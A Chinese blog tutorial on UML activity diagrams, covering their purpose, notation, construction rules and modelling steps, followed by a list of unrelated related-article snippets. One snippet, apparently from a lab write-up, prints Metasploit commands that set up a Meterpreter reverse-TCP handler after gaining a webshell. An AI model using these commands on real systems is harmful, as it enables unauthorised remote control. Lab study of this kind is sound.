【UML】第16篇 活动图

目录

一、什么是活动图

二、应用场景:

三、绘图符号的说明:

四、语法:

五、例图

六、建模的流程

6.1 对业务流程建模时

6.2 对用例进行活动图建模时


一、什么是活动图

活动图(Activity Diagram)是UML中用于描述工作流程或操作执行流程的一种行为图。它展示了操作的流程,包括决策、并行处理、循环等,以及这些流程中涉及的各个活动或动作。

二、应用场景

  1. 业务流程建模:活动图非常适合描述复杂的业务流程,因为它可以清晰地展示流程中的各个步骤、决策点、并行流程等。
  2. 软件需求分析:在软件需求分析阶段,活动图可以帮助分析人员更好地理解系统的功能需求,特别是那些涉及多个用户、多个系统或并行处理的功能。
  3. 系统设计:活动图可以作为系统设计的一部分,描述系统或组件在执行特定功能时的行为。
  4. 工作流建模:对于需要明确指定任务执行顺序的系统,如生产流程控制系统或项目管理系统,活动图可以用来描述工作流。

三、绘图符号的说明

  • 动作/活动(Action/Activity):表示流程中的一个步骤或动作,用矩形表示。
  • 起始节点(Initial Node):表示流程的开始,用实心小黑圆点表示。
  • 活动终点(Activity Final Node):表示流程的正常结束,用带有内圆圈的空心圆表示。
  • 流控制(Flow Control):表示流程的方向,用带箭头的线连接各个活动或节点。
  • 决策/分支(Decision/Branch):表示基于某个条件的决策点,用菱形表示,菱形内通常包含决策条件。
  • 合并(Merge):表示多个分支合并为一个流程的点,也用菱形表示,但通常没有条件。
  • 分叉(Fork)和汇合(Join):表示流程的并行处理,分叉用一条线分为多条线表示,汇合则用多条线合并为一条线表示。
  • 对象流(Object Flow):表示对象在活动之间的流动,用带有标签的虚线箭头表示。

四、语法

在UML中,活动图的语法并不是像编程语言那样的严格规则集合,而是指如何使用上述绘图符号来构建图表。活动图的构建通常遵循以下原则:

  1. 起始节点表示流程的开始。
  2. 活动表示需要执行的任务或步骤。
  3. 决策节点用于根据条件选择不同的流程路径。
  4. 分叉和汇合用于表示并行处理。
  5. 活动终点表示流程的正常结束。
  6. 流控制箭头指示流程的方向。
  7. 对象流表示对象如何在活动之间传递。

活动图通常是通过UML建模工具以图形方式创建的,但也可以用文本或伪代码来描述,特别是在早期的需求分析阶段。然而,对于复杂的系统或流程,图形表示通常更加直观和易于理解。

五、例图

也可以是泳道图来对用例或者对象建模。

六、建模的流程

在建模时,通常选择对业务流程建模或对用例的交互进行建模。

6.1 对业务流程建模时

  1. 选择要描述的业务过程,找出业务过程中的关键对象或参与者,将重要的对象或参与者从左到右依次排开;
  2. 为反应动作状态的执行者,为这些对象或参与者添加泳道;
  3. 找出业务的关键动作状态或活动节点,在对应的泳道中添加动作状态或活动;
  4. 确定业务的起始点及结束状态,为活动图添加初始状态和结束状态;
  5. 从起始状态开始,按照动作的发生次序,依次添加到活动图中;
  6. 连接动作状态,并根据业务情况,添加分叉与汇合、分支与合并等节点;
  7. 如需描述对象的情况,使用对象流来补充活动图。
  8. 审查活动图中是否有遗漏或需要进一步说明的地方,是否需要使用另外一个活动图进一步描述某些活动。

6.2 对用例进行活动图建模时

  1. 选定要建模的用例,确定用例执行的基本流程;
  2. 通过用例的事件流找出参与者的主动动作,把这些动作整理为活动图中的动作状态或活动状态;
  3. 为参与到用例基本流程的参与者和系统添加泳道;
  4. 把动作状态和活动状态添加到对应的泳道中;
  5. 使用分叉与汇合、分支与合并来描述用例执行中的并发动作和特殊事件的备选动作;
  6. 审查活动图是否符合实际情况,是否有遗漏,以及是否需要借助另外一个活动图来描述活动的情况。

(未来会做更详细的探讨,敬请关注)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/304292.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

01-连接池项目背景:C++的数据库操作

从0开始学习C与数据库的联动 1.原始方式-使用MySQL Connector/C 提供的API查询 1.1 数据库预操作 我的本地电脑上有mysql数据库,里面预先创建了一个database名叫chat,用户名root,密码password。 1.2 Visual Studio预操作 在Windows上使用…

iOS 接入firebase消息推送

前言 APP推送消息和很正常,这就像你谈女朋友一样,如果你经常沉默等着她来找你,那肯定不行,你需要主动一下。APP也是一样,你下载了APP但是你不经常用它,那么他想要让你关注她,自然就要主动推送消…

1.4~1.5链表复习,代码操作(反转链表(用栈解决,双指针),删除链表指定元素),链表选择题,广义表

删除链表内指定范围的数 思路是双指针,定义两个指针,一个去找当前这个数满不满足要求,然后另一个定义为删除区间的起点 , 当不满足时,两个指针同时向后移动;当满足时,前驱指针就不动了&#xf…

强烈推荐!这8款在线画图工具好用极了

即时设计 即时设计作为一种简单的绘图工具,为创作者提供了一个方便而强大的创作平台,具有丰富的绘图工具、实时合作、矢量绘图和组件设计系统等功能。即时设计可以满足不同的创作需求,使创意自由流动。 强大的矢量编辑工具 即时设计提供了…

Windows 环境多个JDK安装与切换

一、下载jdk 去Oracle官网上下载想要安装的jdk版本,https://www.oracle.com/java/technologies/downloads/。 二、安装jdk 双击.exe文件,选择好安装目录进行安装。多个版本的jdk重复这两步操作就好。 三、多版本的jdk都下载安装完成之后&#xff0…

leetcode贪心(单调递增的数字、监控二叉树)

738.单调递增的数字 给定一个非负整数 N&#xff0c;找出小于或等于 N 的最大的整数&#xff0c;同时这个整数需要满足其各个位数上的数字是单调递增。 &#xff08;当且仅当每个相邻位数上的数字 x 和 y 满足 x < y 时&#xff0c;我们称这个整数是单调递增的。&#xff…

Kafka与RabbitMQ的区别

消息队列介绍 消息队列&#xff08;Message Queue&#xff09;是一种在分布式系统中进行异步通信的机制。它允许一个或多个生产者在发送消息时暂时将消息存储在队列中&#xff0c;然后由一个或多个消费者按顺序读取并处理这些消息。 消息队列具有以下特点&#xff1a; 异步通…

红日靶场之stack远程桌面控制 个人学习)

我们首先打开webshell工具 然后切换到C盘的www的文件夹下面 然后我们打开MSF工具进行监听 模板 msfconsole 启动MSF工具 然后是 use exploit/multi/handler 使用漏洞辅助模块 set payload windows/meterpreter/reverse_tcp 这是利用漏洞tcp回弹模块 set lhost 192.168.52.…

Domain Adaptation 相关介绍

1. Transfer Learning Transfer learning 是机器学习的一个分支, 而 Domain adpatation 是 transfer learning 的一个分支. 在 transfer learning 中有两个概念: source domain (源域) 和 target domain (目标域). 源域中往往有丰富的信息, 比如有大量的数据点和其真实的标签;…

Git命令+github仓库克隆

Git github Git常用命令 开始 git init #创建仓库 git status #查看仓库的状态 git status -s #简单的查看仓库的状态 git ls-files #查看暂存区的内容 git reflog #查看操作的历史记录 暂存区 git add git add <file&g…

如何克隆驱动器,不同的操作系统有不同的推荐软件

你需要将Windows或macOS安装迁移到新驱动器吗?你可以使用服务备份文件,也可以创建数据的完整一对一副本。通过克隆你的驱动器,你可以创建一个精确的副本。 一些业务级别的备份服务,如IDrive和Acronis,具有内置的磁盘克隆功能,是对正常文件备份的补充。但对于一次性克隆(…

Python 开源扫雷游戏 PyMine 发布介绍视频

Python 开源扫雷游戏 PyMine 发布介绍视频 Python 开源扫雷游戏 PyMine 是笔者开发的基于 wxPython 的 Python 扫雷游戏&#xff0c;现已发布介绍视频。视频请见&#xff1a;https://www.bilibili.com/video/BV1aW4y1N7Dd/ PyMine 比较忠实的还原了微软的扫雷游戏。在算法设计…

【UE Niagara学习笔记】03 - 火焰喷射效果

目录 效果 步骤 一、创建粒子系统 二、制作火焰动画 三、改为GPU粒子 四、循环播放粒子动画 五、火焰喷射效果雏形 六、火焰颜色 效果 步骤 一、创建粒子系统 1. 新建一个Niagara系统&#xff0c;选择模板 命名为“NS_Flame_Thrower”&#xff08;火焰喷射&#…

Windows 双网卡链路聚合解决方案

Windows 双网卡链路聚合解决方案 链路聚合方案1&#xff1a;Metric介绍操作 方案2&#xff1a;NetSwitchTeam介绍操作 方案3&#xff1a;NIC介绍操作 方案4&#xff1a;Intel PROSet 链路聚合 指将多个物理端口汇聚在一起&#xff0c;形成一个逻辑端口&#xff0c;以实现出/入…

多级缓存、OpenResty缓存、Redis分布式缓存、进程缓存

目录标题 一、预期表现二、环境配置1、nginx环境2、OpenResty环境3、redis环境3.1 安装redis3.2 配置启动命令3.3 配置主从3.4 哨兵 4、进程缓存环境 三 、主要编码工作3.1、缓存主要问题解决3.1.1 缓存穿透3.1.2 缓存雪崩3.1.3 缓存击穿 3.2、OpenResty编码3.2.1 openresty/ng…

JavaWeb——后端AOP面向特定方法编程

七、AOP 1. 概述 AOP&#xff08;Aspect Oriented Programming&#xff09;&#xff1a;面向切面编程、面向方法编程&#xff0c;其实就是面向特定方法编程 场景&#xff1a; 案例部分功能运行较慢&#xff0c;定位执行耗时较长的业务方法&#xff0c;此时需要统计每个业务…

了解ASP.NET Core 中的文件提供程序

写在前面 ASP.NET Core 通过文件提供程序来抽象化文件系统访问。分为物理文件提供程序(PhysicalFileProvider)和清单嵌入的文件提供程序(ManifestEmbeddedFileProvider)还有复合文件提供程序(CompositeFileProvider )&#xff1b;其中PhysicalFileProvider 提供对物理文件系统…

echarts - xAxis.type设置time时该如何使用formatter的分级模板

echarts 文档中描述了x轴的多种类型 一、type: ‘value’ ‘value’ 数值轴&#xff0c;适用于连续数据。 此时x轴数据是从零开始&#xff0c;有数据大小的区分。 【注意】 因为xAxis.data是为category服务的&#xff0c;所以xAxis.data里面设置的数据无效。 二、type: ‘ca…

计算机配件杂谈-鼠标

目录 基础知识鼠标的发展鼠标的左右手鼠标的显示样式鼠标的移动和可见性移动可见性 现在的我们的生活工作都基本上离不开电脑了&#xff0c;不管是你平时玩玩游戏&#xff0c;上班工作等等&#xff1b; 今天将关于鼠标的一些小的技巧分享出来&#xff0c;共勉&#xff01; 基础…

【SPDK】【NoF】使用SPDK实现NVMe over Fabrics Target

本文使用两台PC&#xff0c;一台做NVMe over Fabrics Target&#xff08;服务端&#xff09;&#xff0c;一台做NVMe over Fabrics initiator&#xff08;客户端&#xff09;。首先使用SoftRoCE来实现底层的rdma传输&#xff0c;然后使用SPDK来实现NVMe over Fabrics Target。 …